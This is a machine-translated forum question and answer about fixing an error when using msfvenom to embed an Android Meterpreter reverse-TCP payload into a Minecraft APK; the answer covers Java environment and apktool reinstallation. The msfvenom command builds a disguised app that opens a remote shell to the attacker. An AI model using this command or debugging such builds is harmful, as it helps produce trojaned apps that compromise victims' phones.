Неправильная строка номер версии 2.4.0, когда msfvenom -x - PullRequest
1 голос
/ 16 февраля 2020

Прочитайте все и внимательно

Привет, я пользуюсь Kali 2.0 и мне нравится с ним подстраиваться (извините за плохой английский sh, но я итальянский). Когда я использую эту команду:

msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk

, она дает мне:

Using APK template: minecraft.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

Я искал несколько недель на всех форумах, но не нашел решения. Я переустанавливал Kali, metasploit-framework, jdk, apktool. Ничего не случилось Любое исправление?

1 Ответ

1 голос
/ 25 апреля 2020

Я боролся и получил решение. Похоже, проблема была с apktool, а также с переменными среды java (но в вашем случае это могла быть только одна проблема), я удалил apktool & java (jdk, jre), переустановил, изменил версии через терминал, но ничего не помогло.

ПЕРВЫЙ ВЫПУСК (_JAVA_OPTIONS):

Чтобы понять это, я прочитал проблему на github https://github.com/iBotPeaches/Apktool/issues/2325

Чтобы временно исправить это , выполните следующие команды в том же окне терминала, где вы пытаетесь использовать msfvenom:

_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'

Чтобы окончательно исправить это , поместите вышеуказанные команды в /root/.bashrc (необходимо проверить Показывать скрытые файлы на вкладке «Просмотр»).

Теперь вышеприведенное сообщение об ошибке должно * go удалить, и если есть проблема с вашим apktool, он будет отображать , неспособный восстановить apk с помощью apktool . Итак, чтобы понять это, прочитайте ниже:

ВТОРОЙ ВОПРОС (Apktool) (не удалось восстановить apk с помощью apktool):

  1. Я обнаружил, что отсутствует файл apktool, расположенный в usr/local/sbin. Удалите файл apktool оттуда, если он существует.

  2. Загрузка linux Скрипт оболочки https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool

  3. Загрузка последний apktool из https://bitbucket.org/iBotPeaches/apktool/downloads и переименуйте его в apktool.jar

  4. Теперь скопируйте оба файла (linux скрипт оболочки и apktool.jar) в /user/local/bin

  5. Введите apktool в терминале и проверьте версию

PS Для тех, кто не может go с шагами для второго выпуска go посмотреть это исправление https://youtu.be/vxs_fkUHnSw

...